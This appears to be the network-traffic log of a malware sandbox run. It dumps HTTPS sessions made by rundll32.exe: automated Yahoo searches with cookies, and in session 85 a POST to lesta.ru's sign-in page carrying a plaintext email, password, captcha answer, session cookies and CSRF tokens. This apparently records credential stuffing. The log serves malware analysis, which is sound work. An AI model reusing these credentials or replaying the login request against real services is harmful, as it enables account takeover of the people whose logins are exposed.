2023-12-10 16:51:14 UTC	5322	IN	Data Raw: 32 65 30 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e0b<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:14 UTC	13713	IN	Data Raw: 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 65 29 7d 29 29 3a 6e 75 6c 6c 21 Data Ascii: reate(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(e)})):null!
2023-12-10 16:51:14 UTC	14480	IN	Data Raw: 6c 65 6d 3b 69 66 28 30 3c 61 29 7b 74 3d 72 28 6f 2e 63 74 6e 2c 22 6c 69 22 29 2c 22 22 21 3d 73 2e 63 61 74 65 67 6f 72 79 26 26 28 28 68 65 61 64 65 72 3d 72 28 6f 2e 68 64 2c 22 64 69 76 22 29 29 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 6f 2e 74 69 74 6c 65 5f 70 72 65 70 65 6e 64 2b 73 2e 63 61 74 65 67 6f 72 79 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 68 65 61 64 65 72 29 29 2c 69 3d 72 28 6f 2e 75 6c 2c 22 75 6c 22 29 2c 6f 2e 65 6e 61 62 6c 65 64 7c 7c 28 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 29 3b 66 6f 72 28 76 61 72 20 6c 3d 30 3b 6c 3c 61 3b 6c 2b 2b 29 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 5b 6c 5d 2e 6c 69 29 3b 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 Data Ascii: lem;if(0<a){t=r(o.ctn,"li"),""!=s.category&&((header=r(o.hd,"div")).textContent=o.title_prepend+s.category,t.appendChild(header)),i=r(o.ul,"ul"),o.enabled\|\|(t.style.display="none");for(var l=0;l<a;l++)i.appendChild(n[l].li);t.appendChild(i),e.insertBefore
2023-12-10 16:51:14 UTC	4575	IN	Data Raw: 67 3d 7b 74 68 75 6d 62 6e 61 69 6c 3a 7b 63 73 73 3a 22 73 61 2d 69 6d 67 2d 6c 65 66 74 22 7d 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 7b 63 73 73 3a 22 73 61 2d 69 6d 67 2d 69 63 6f 6e 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 69 3d 74 2e 63 6f 6e 66 69 67 2c 73 3d 28 66 3d 74 2e 61 70 70 29 2e 76 69 65 77 2c 6e 3d 73 2e 65 6c 65 6d 73 2c 61 3d 6e 2e 73 62 49 6e 70 75 74 2c 6f 3d 30 2c 72 3d 30 2c 6c 3d 69 2e 6f 66 66 73 65 74 2c 63 3d 69 2e 64 65 6c 74 61 2c 70 3d 66 2e 67 65 74 45 6c 65 6d 53 74 79 6c 65 56 61 6c 75 65 3b 69 66 28 61 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 3e 69 2e 6d 69 6e 51 75 65 72 79 26 26 65 26 26 65 2e 72 26 26 65 2e 72 2e 6c 65 6e 67 74 68 26 26 28 6f 3d 65 2e 73 71 70 6f 73 29 29 Data Ascii: g={thumbnail:{css:"sa-img-left"},placeholder:{css:"sa-img-icon"}}}function bt(e){var t=this,i=t.config,s=(f=t.app).view,n=s.elems,a=n.sbInput,o=0,r=0,l=i.offset,c=i.delta,p=f.getElemStyleValue;if(a.value.length>i.minQuery&&e&&e.r&&e.r.length&&(o=e.sqpos))
2023-12-10 16:51:14 UTC	2665	IN	Data Raw: 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2e 70 6c 61 63 Data Ascii: r e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML=n.plac
2023-12-10 16:51:14 UTC	7240	IN	Data Raw: 35 61 38 0d 0a 7d 2c 66 6f 72 6d 61 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 69 66 28 65 29 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 7b 28 5c 64 2b 29 7d 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 69 5b 74 5d 3f 69 5b 74 5d 3a 22 22 7d 29 2e 74 72 69 6d 28 29 7d 2c 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 76 61 72 20 73 3b 65 26 26 74 26 26 28 28 73 3d 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 29 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 5b 5d 29 2c 73 5b 65 5d 2e 70 75 73 68 28 7b 74 68 69 73 41 72 67 3a 69 7c 7c 74 68 69 73 2c 66 6e 3a 74 7d 29 29 7d 2c 6e 6f 74 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 69 73 74 65 Data Ascii: 5a8},format:function(e,i){if(e)return e.replace(/{(\d+)}/g,function(e,t){return i&&void 0!==i[t]?i[t]:""}).trim()},on:function(e,t,i){var s;e&&t&&((s=this.listeners)[e]\|\|(s[e]=[]),s[e].push({thisArg:i\|\|this,fn:t}))},notify:function(e,i){var t=this.liste
2023-12-10 16:51:14 UTC	7240	IN	Data Raw: 71 3f 69 2e 61 64 64 4e 6f 51 75 65 72 79 43 6c 73 54 6f 42 6f 64 79 3f 53 2e 61 64 64 43 6c 61 73 73 28 61 2c 68 29 3a 53 2e 61 64 64 43 6c 61 73 73 28 63 2c 68 29 3a 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5b 63 2c 61 5d 2c 68 29 2c 74 2e 73 68 6f 77 6e 3d 21 30 2c 74 2e 63 6c 65 61 72 41 73 73 69 73 74 28 29 2c 6e 29 7b 6d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 67 29 2c 73 2e 6e 6f 74 69 66 79 28 54 2c 5b 65 5d 29 3b 66 6f 72 28 76 61 72 20 76 3d 30 3b 76 3c 6e 3b 76 2b 2b 29 7b 76 61 72 20 79 3d 7b 69 64 78 3a 76 7d 2c 62 3d 28 28 62 3d 65 2e 72 5b 76 5d 29 2e 71 3d 65 2e 71 2c 62 2e 66 64 26 26 28 79 2e 66 64 3d 53 2e 63 6c 6f 6e 65 28 62 2e 66 64 29 29 2c 53 2e 6d 65 72 67 65 28 79 2c 62 29 2c 79 2e 6f 72 69 67 44 61 74 61 3d 62 2c 73 2e 6e 6f 74 Data Ascii: q?i.addNoQueryClsToBody?S.addClass(a,h):S.addClass(c,h):S.removeClass([c,a],h),t.shown=!0,t.clearAssist(),n){m.appendChild(g),s.notify(T,[e]);for(var v=0;v<n;v++){var y={idx:v},b=((b=e.r[v]).q=e.q,b.fd&&(y.fd=S.clone(b.fd)),S.merge(y,b),y.origData=b,s.not
2023-12-10 16:51:14 UTC	7240	IN	Data Raw: 22 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 75 72 6c 2c 21 30 29 2c 6f 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 30 2c 6f 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 29 2c 6f 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 26 26 28 65 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 65 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 29 7d 2c 6f 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 Data Ascii: ",this.config.url,!0),o.withCredentials=!0,o.setRequestHeader("Content-type","application/json;charset=UTF-8"),o.onreadystatechange=function(){o.readyState===XMLHttpRequest.DONE&&(e.main.style.display="none",e.thank.style.display="block")},o.send(JSON.str
2023-12-10 16:51:14 UTC	7240	IN	Data Raw: 30 30 30 30 30 36 34 62 35 65 38 26 54 79 70 65 3d 45 76 65 6e 74 2e 43 50 54 27 3b 66 75 6e 63 74 69 6f 6e 20 53 4c 42 28 73 2c 70 55 72 6c 29 7b 76 61 72 20 75 72 6c 2c 69 6d 67 3d 6e 65 77 20 49 6d 61 67 65 28 29 2c 64 61 74 3d 27 26 44 41 54 41 3d 27 3b 64 61 74 2b 3d 73 3f 27 25 37 42 25 32 32 70 70 25 32 32 25 33 41 25 37 42 25 32 32 53 25 32 32 25 33 41 25 32 32 41 25 32 32 25 37 44 25 37 44 27 3a 27 25 37 42 25 32 32 70 70 25 32 32 25 33 41 25 37 42 25 32 32 53 25 32 32 25 33 41 25 32 32 4c 25 32 32 25 37 44 25 37 44 27 3b 75 72 6c 3d 70 55 72 6c 2b 64 61 74 3b 69 6d 67 2e 73 72 63 3d 75 72 6c 2b 27 26 27 2b 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 3b 70 4c 3d 31 7d 77 69 6e 64 6f 77 2e 6f 6e 62 65 66 6f 72 65 75 6e 6c 6f Data Ascii: 0000064b5e8&Type=Event.CPT';function SLB(s,pUrl){var url,img=new Image(),dat='&DATA=';dat+=s?'%7B%22pp%22%3A%7B%22S%22%3A%22A%22%7D%7D':'%7B%22pp%22%3A%7B%22S%22%3A%22L%22%7D%7D';url=pUrl+dat;img.src=url+'&'+(new Date()).getTime();pL=1}window.onbeforeunlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50095	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:17 UTC	708	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=7RlCI8pYEJvIspHGZWwKPAuT5nsgUV8O5ke3FbSdc467jZK7df0XEIZbZBVLKQ0z; wgni_sessionid=0me5yexcddb02smnfjc4rvsw6kjk025e User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: 7RlCI8pYEJvIspHGZWwKPAuT5nsgUV8O5ke3FbSdc467jZK7df0XEIZbZBVLKQ0z x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:51:17 UTC	116	OUT	Data Raw: 6c 6f 67 69 6e 3d 6d 7a 2d 31 36 2d 32 30 30 39 40 68 6f 74 6d 61 69 6c 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 7a 78 79 6d 44 57 54 75 7a 77 26 63 61 70 74 63 68 61 3d 61 76 6b 30 7a 6f 72 35 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=mz-16-2009@hotmail.com&password=zxymDWTuzw&captcha=avk0zor5&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50104	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:17 UTC	839	OUT	GET /search;_ylt=AwrNZRR57HVltgUrn1lXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=15&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=2&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227065&ltv_c=2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:17 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 31 37 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:17 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:17 UTC	414	IN	Data Raw: 31 61 33 38 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 Data Ascii: 1a382<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yi
2023-12-10 16:51:17 UTC	15016	IN	Data Raw: 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 79 5f 69 63 6f 6e 5f 69 70 68 6f 6e 65 5f 31 32 30 2e 6d 69 6e 2e 70 6e 67 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d Data Ascii: /><link rel="apple-touch-icon" sizes="120x120" href="https://s.yimg.com/pv/static/img/y_icon_iphone_120.min.png" /><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="oath:guce:consent-
2023-12-10 16:51:17 UTC	16384	IN	Data Raw: 76 22 29 2c 69 3d 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 28 65 2e 74 72 61 79 2c 22 64 69 76 22 29 29 2c 73 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 2e 70 61 72 65 6e 74 29 7c 7c 77 2e 62 6f 64 79 2c 6e 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 2e 62 65 66 6f 72 65 4e 6f 64 65 29 2c 65 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 2e 61 66 74 65 72 4e 6f 64 65 29 3b 28 65 3d 6e 7c 7c 65 29 3f 28 73 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 6e 7c 7c 28 65 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 2c 73 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 2c 65 29 29 3a 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2c 74 68 69 73 2e 61 70 70 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 61 54 72 61 79 3d 69 7d 66 75 6e Data Ascii: v"),i=t.appendChild(i(e.tray,"div")),s=w.getElementById(e.parent)\|\|w.body,n=w.getElementById(e.beforeNode),e=w.getElementById(e.afterNode);(e=n\|\|e)?(s=e.parentNode,n\|\|(e=e.nextSibling),s.insertBefore(t,e)):s.appendChild(t),this.app.view.elems.saTray=i}fun
2023-12-10 16:51:17 UTC	1368	IN	Data Raw: 64 43 68 69 6c 64 28 69 29 2c 74 7d 2e 63 61 6c 6c 28 69 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2c 69 2e 70 72 65 76 69 65 77 42 6c 6f 63 6b 3d 65 2c 69 2e 70 72 65 76 41 63 74 69 76 65 49 6e 64 65 78 3d 2d 31 2c 69 2e 66 69 72 73 74 49 74 65 6d 26 26 68 74 2e 63 61 6c 6c 28 69 2c 69 2e 66 69 72 73 74 49 74 65 6d 2c 21 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 74 28 74 2c 65 29 7b 76 61 72 20 73 2c 6e 2c 61 2c 69 3d 74 68 69 73 2c 6f 3d 69 2e 64 69 73 61 62 6c 65 50 72 65 76 69 65 77 2c 72 3d 69 2e 63 6f 6e 66 69 67 2c 6c 3d 74 2e 64 61 74 61 2c 63 3d 6c 2e 66 64 3b 66 75 6e 63 74 69 6f 6e 20 70 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2c 69 3d 6e 26 26 21 61 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 61 29 Data Ascii: dChild(i),t}.call(i),t.appendChild(e),i.previewBlock=e,i.prevActiveIndex=-1,i.firstItem&&ht.call(i,i.firstItem,!0))}function ht(t,e){var s,n,a,i=this,o=i.disablePreview,r=i.config,l=t.data,c=l.fd;function p(){var e=this,t=arguments,i=n&&!a;clearTimeout(a)
2023-12-10 16:51:17 UTC	6864	IN	Data Raw: 72 65 76 69 65 77 43 6c 61 73 73 3a 22 6d 75 6c 74 69 2d 63 6f 6c 73 20 70 72 65 76 69 65 77 22 2c 65 6e 61 62 6c 65 64 3a 21 31 2c 6c 61 79 6f 75 74 3a 22 63 74 61 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 2c 74 29 7b 76 61 72 20 69 2c 73 3d 65 2e 6c 69 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 2c 6f 3d 6e 2e 63 74 6e 2c 72 3d 61 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 73 70 61 6e 22 29 2c 74 3d 74 2e 66 64 26 26 74 2e 66 64 2e 69 6d 61 67 65 55 72 6c 2c 6c 3d 73 3b 6f 26 26 28 6c 3d 61 28 6f 29 29 2c 74 26 26 28 28 69 3d 61 28 6e 2e 74 68 75 6d 62 6e 61 69 6c 2c 22 69 6d 67 22 29 29 2e 73 72 63 3d 74 2c 69 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 73 61 2d 68 69 64 64 65 6e 22 2c 69 2e Data Ascii: reviewClass:"multi-cols preview",enabled:!1,layout:"cta"}}function vt(e,t){var i,s=e.li,n=this.config,a=this.createElem,o=n.ctn,r=a(n.placeholder,"span"),t=t.fd&&t.fd.imageUrl,l=s;o&&(l=a(o)),t&&((i=a(n.thumbnail,"img")).src=t,i.className+=" sa-hidden",i.
2023-12-10 16:51:17 UTC	14480	IN	Data Raw: 72 20 66 65 65 64 62 61 63 6b 22 2c 69 6d 70 72 6f 76 65 3a 22 59 6f 75 72 20 72 65 73 70 6f 6e 73 65 73 20 68 65 6c 70 20 74 6f 20 69 6d 70 72 6f 76 65 20 74 68 65 20 73 65 61 72 63 68 20 65 78 70 65 72 69 65 6e 63 65 2e 22 2c 64 6f 6e 65 3a 22 44 6f 6e 65 22 7d 2c 6c 6f 67 3a 7b 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 61 73 73 69 73 74 2d 72 65 70 6f 72 74 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 6c 74 78 74 3a 21 30 7d 7d 7d 72 2e 53 41 3d 28 73 3d 5b 5d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 73 6f 6e 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 69 3d 77 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 Data Ascii: r feedback",improve:"Your responses help to improve the search experience.",done:"Done"},log:{sec:"search",slk:"assist-report",rspns:"upd",ltxt:!0}}}r.SA=(s=[],e.prototype={jsonp:function(e){var t=w.getElementsByTagName("head")[0],i=w.createElement("scrip
2023-12-10 16:51:17 UTC	11424	IN	Data Raw: 3d 30 3b 61 3c 65 2e 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 2c 72 2c 6c 3d 65 2e 72 5b 61 5d 3b 73 5b 6c 2e 6d 5d 7c 7c 28 74 68 69 73 2e 66 64 61 74 61 2e 73 75 67 67 65 73 74 69 6f 6e 73 2e 72 65 73 75 6c 74 73 2e 70 75 73 68 28 7b 6b 65 79 3a 6c 2e 6b 2c 6d 72 6b 3a 6c 2e 6d 7d 29 2c 28 6f 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 6c 69 22 2c 63 73 73 3a 74 2b 22 2d 6f 70 74 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c 6c 61 62 65 6c 20 66 Data Ascii: =0;a<e.r.length;a++){var o,r,l=e.r[a];s[l.m]\|\|(this.fdata.suggestions.results.push({key:l.k,mrk:l.m}),(o=this.createElem({tag:"li",css:t+"-opt"})).innerHTML='<input type="checkbox" name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><label f
